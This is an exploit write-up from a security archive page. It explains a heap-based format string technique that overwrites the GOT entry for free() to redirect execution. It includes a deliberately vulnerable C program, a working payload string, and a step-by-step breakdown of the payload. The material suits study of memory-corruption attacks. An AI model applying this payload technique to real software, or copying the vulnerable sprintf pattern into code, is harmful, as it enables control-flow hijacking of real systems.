what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Heap Two-Write-Where-And-Not Format String (FMS) Technique

Heap Two-Write-Where-And-Not Format String (FMS) Technique
Posted Sep 7, 2016
Authored by bashis

This write up provides code of the 'two-write-where-and-what' format string (FMS) exploitation technique and how to exploit it when located on the heap.

tags | paper
SHA-256 | 16841cd5b6ed14ba9eb7eb5ef0c058099fb5874500ad3084fa66dcad12dcd4d8

Heap Two-Write-Where-And-Not Format String (FMS) Technique

Change Mirror Download
/*

Author: bashis <mcw noemail eu>, 2016

Small example code of 'two-write-where-and-what' format string (FMS) and description how to possible exploit when located on heap.
Since the technique is 'two-write-where-and-what', it's possible to jump to lower target address than the FMS has counted up to.
[You will need to check addresses of free() and target() to see if it's matching this example; if not, you will need to recalculate the FMS code]

This example code and description is developed for x86 architecture, how it would work IRL is hard to say,
as this will need approx 192 MiB heap allocated space to be successfully functional.

However, this is the technique I used for exploiting Axis Communication MPQT/PACS products on MIPSel/ARMel/CRISv32 architectures.
(Which use far lower addresses that x86)
Reference: https://www.exploit-db.com/exploits/40125/

Stack output example:

1 0xf756bbf8
2 0xf7590243
3 (nil)
4 0xc10000
5 0x1
6 0xfff7cd28 --->----+ Second2 data (Write-Where)
7 0xfff7cd30 --->----|--+ First2 data (Write-Where)
8 0xfff7efb6 | | HOME data (Not used, only to create space)
9 0x80487e2 ---<-----+ | Second data (Write-What)
10 0xfff7ef39 | PATH data (Not used, only to create space)
11 0x80487d7 --<--------+ First data (Write-What)
12 0x20
13 0x1
14 0xeb55e008

Successful example:

$ ./heap-fms %134519620u%1c%1c%1c%1c%lnXX%ln%59857u%hn%33513u%hn

first Address: 0xfff7cd30
first2 Address: 0xfff7cd20
first data: 0x080487d7
first2 data: 0xfff7cd30

second Address: 0xfff7cd28
second2 Address: 0xfff7cd1c
second data: 0x080487e2
second2 data: 0xfff7cd28

HOME Address: 0xfff7cd24
HOME data: 0xfff7efb6
PATH Address: 0xfff7cd2c
PATH data: 0xfff7ef39

free() Address: 0x080483a0

SCORE!
$

Details:

Find the GOT address to free() - that we want to overwrite

$ objdump --dynamic-reloc ./heap-fms | grep free
08049b48 R_386_JUMP_SLOT free
$

Find the target address we want to write to GOT free() - where we want to jump
$ objdump -D ./heap-fms | grep target
0804851b <target>:
$

FMS code breakdown

[MSB][LSB]
free(): 0804 9b48
target(): 0804 851b

FFS, what is: "$ ./heap-fms %134519620u%1c%1c%1c%1c%lnXX%ln%59857u%hn%33513u%hn" ???

%134519620u [Count up to 0x8049b44] // Approx 128 MiB needs to be written in x86 to reach this address...
%1c [0x8049b44 + 0x1 = 0x8049b45] (POP's of 1 byte)
%1c [0x8049b45 + 0x1 = 0x8049b46] (POP's of 1 byte)
%1c [0x8049b46 + 0x1 = 0x8049b47] (POP's of 1 byte)
%1c [0x8049b47 + 0x1 = 0x8049b48] (POP's of 1 byte)
%ln [First-where: Write 4 bytes (0x8049b48) to 'Second2 data', pointing to free() LSB; Value will appear in 'Second data']
XX [Jump up two bytes, to later write in free() MSB; 0x8049b48 + 0x2 = 0x8049b4a]
%ln [Second-where: Write 4 bytes (0x8049b4a) to 'First2 data', pointing to free() MSB; Value will appear in 'First data']
%59857u [We want to write 0x851b to GOT free() LSB, so we need to calculate one step higher: 0x805851b - 0x8049b4a = 0xe9d1 (= 59857 decimalt)]
%hn [First-what: Write two bytes (0x851b) to free() LSB]
%33513u [We want to write 0x0804 to GOT free() MSB, so we need to calculate one step higher again: 0x8060804 - 0x805851b = 0x82e9 (= 33513 decimalt)]
%hn [Second-what: Write two bytes (0x0804) to free() MSB]

Result: 0x0804851b will be written to GOT free(), and the next free() call will jump to our 'target()'

Compile for x86 with: cc -m32 -o heap-fms heap-fms.c

Have nice day
/bashis

*/

#include <stdio.h>
#include <stdlib.h>

void target() {

printf("SCORE!\n");

}

void junk(char **argv)
{

// Could be some code

}

void main(int argc, char **argv, char **envp)
{

// Create enough space on heap for executing the FMS
char *format_string;
// format_string = malloc(268435456); // 256 MiB
format_string = malloc(201326292); // 192 MiB


const char *first = "First"; // Will show up on stack as No 11 in above stack example output
// Create one possibility to 'pop'
char* path = getenv("PATH"); // Will show up on stack as No 10 in above stack example output
const char *second = "Second"; // Will show up on stack as No 9 in above stack example output
int dummy = 1; // Will show up on stack as No 13 in above stack example output (gcc sorting?)
int dummy2 = 0x20; // Will show up on stack as No 12 in above stack example output (gcc sorting?)
char* home = getenv("HOME"); // Will show up on stack as No 8 in above stack example output

const char **first2 = &first; // Will show up on stack as No 7 in above stack example output
const char **second2 = &second; // Will show up on stack as No 6 in above stack example output

sprintf(format_string,argv[1]); // Format string vulnerable

printf("\n");

printf("first Address: 0x%08x\n",&first); // Only for references
printf("first2 Address: 0x%08x\n",&first2); // Only for references

// Write what
printf("first data: 0x%08x\n",first); // Will show where we are in FMS value counting. will show you what value you written.
// Write where
printf("first2 data: 0x%08x\n",first2); // This is one of the address we see on the stack; this one we will write to to have the value in "first data"

printf("\n");

printf("second Address: 0x%08x\n",&second); // Only for references
printf("second2 Address: 0x%08x\n",&second2); // Only for references

// Write what
printf("second data: 0x%08x\n",second); // Will show where we are in FMS value counting. will show you what value you written.
// Write where
printf("second2 data: 0x%08x\n",second2); // This is one of the address we see on the stack; this one we will write to to have the value in "second data"

printf("\n");

printf("HOME Address: 0x%08x\n",&home); // Only for references
printf("HOME data: 0x%08x\n",home); // Only for references
printf("PATH Address: 0x%08x\n",&path); // Only for references
printf("PATH data: 0x%08x\n",path); // Only for references

printf("\n");

printf("free() Address: 0x%08x\n",&free); // Only for references


printf("\n");

// puts(format_string); // Uncomment to see output FMS

junk(argv); // Useful for gdb break

free(format_string); // This call is our target for jumping where we want.

}




Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close